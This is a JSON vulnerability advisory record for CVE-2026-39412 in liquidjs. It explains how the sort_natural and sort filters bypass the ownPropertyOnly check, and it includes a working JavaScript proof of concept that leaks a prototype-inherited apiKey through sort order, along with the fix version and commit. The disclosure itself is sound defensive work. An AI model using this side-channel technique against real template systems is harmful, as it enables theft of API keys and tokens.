{"id":"CVE-2026-39412","aliases":["GHSA-rv5g-f82m-qrvv"],"url":"https://o3.security/vulnerability/CVE-2026-39412","summary":"LiquidJS has an ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel","details":"### Summary\n\nThe `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.\n\n### Details\n\nIn `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain:\n\n```typescript\nexport function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {\n  const propertyString = stringify(property)\n  const compare = property === undefined\n    ? caseInsensitiveCompare\n    : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])\n  const array = toArray(input)\n  this.context.memoryLimit.use(array.length)\n  return [...array].sort(compare)\n}\n```\n\nIn contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled:\n\n```typescript\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined\n  return obj[key]\n}\n```\n\nThe `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue.\n\n### PoC\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\nasync function main() {\n  const engine = new Liquid({ ownPropertyOnly: true });\n\n  // Object with prototype-inherited secret\n  function UserModel() {}\n  UserModel.prototype.apiKey = 'sk-1234-secret-token';\n\n  const target = new UserModel();\n  target.name = 'target';\n\n  const probe_a = { name: 'probe_a', apiKey: 'aaa' };\n  const probe_z = { name: 'probe_z', apiKey: 'zzz' };\n\n  // Direct access: correctly blocked by ownPropertyOnly\n  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });\n  console.log('Direct access:', JSON.stringify(r1));  // \"\" (blocked)\n\n  // map filter: correctly blocked\n  const r2 = await engine.parseAndRender('{{ users | map: \"apiKey\" }}', { users: [target] });\n  console.log('Map filter:', JSON.stringify(r2));  // \"\" (blocked)\n\n  // sort_natural: BYPASSES ownPropertyOnly\n  const r3 = await engine.parseAndRender(\n    '{% assign sorted = users | sort_natural: \"apiKey\" %}{% for u in sorted %}{{ u.name }},{% endfor %}',\n    { users: [probe_z, target, probe_a] }\n  );\n  console.log('sort_natural order:', r3);\n  // Output: \"probe_a,target,probe_z,\"\n  // If apiKey were blocked: original order \"probe_z,target,probe_a,\"\n  // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)\n}\n\nmain();\n```\n\n**Result:**\n```\nDirect access: \"\"\nMap filter: \"\"\nsort_natural order: probe_a,target,probe_z,\n```\n\nThe sorted order reveals that the target's prototype `apiKey` falls between \"aaa\" and \"zzz\". By using more precise probe values, the full secret can be extracted character-by-character through binary search.\n\n### Impact\n\nInformation disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.","published":"2026-04-08T19:39:17.780Z","modified":"2026-08-12T03:51:14.295697872Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"liquidjs","fixedVersion":"10.25.4"}],"fix":{"url":"https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce","label":"harttle/liquidjs@e743da0"},"references":[{"type":"WEB","url":"https://github.com/harttle/liquidjs/releases/tag/v10.25.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39412.json"},{"type":"ADVISORY","url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39412"},{"type":"FIX","url":"https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce"},{"type":"FIX","url":"https://github.com/harttle/liquidjs/pull/869"},{"type":"PACKAGE","url":"https://github.com/harttle/liquidjs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:14.295697872Z"}}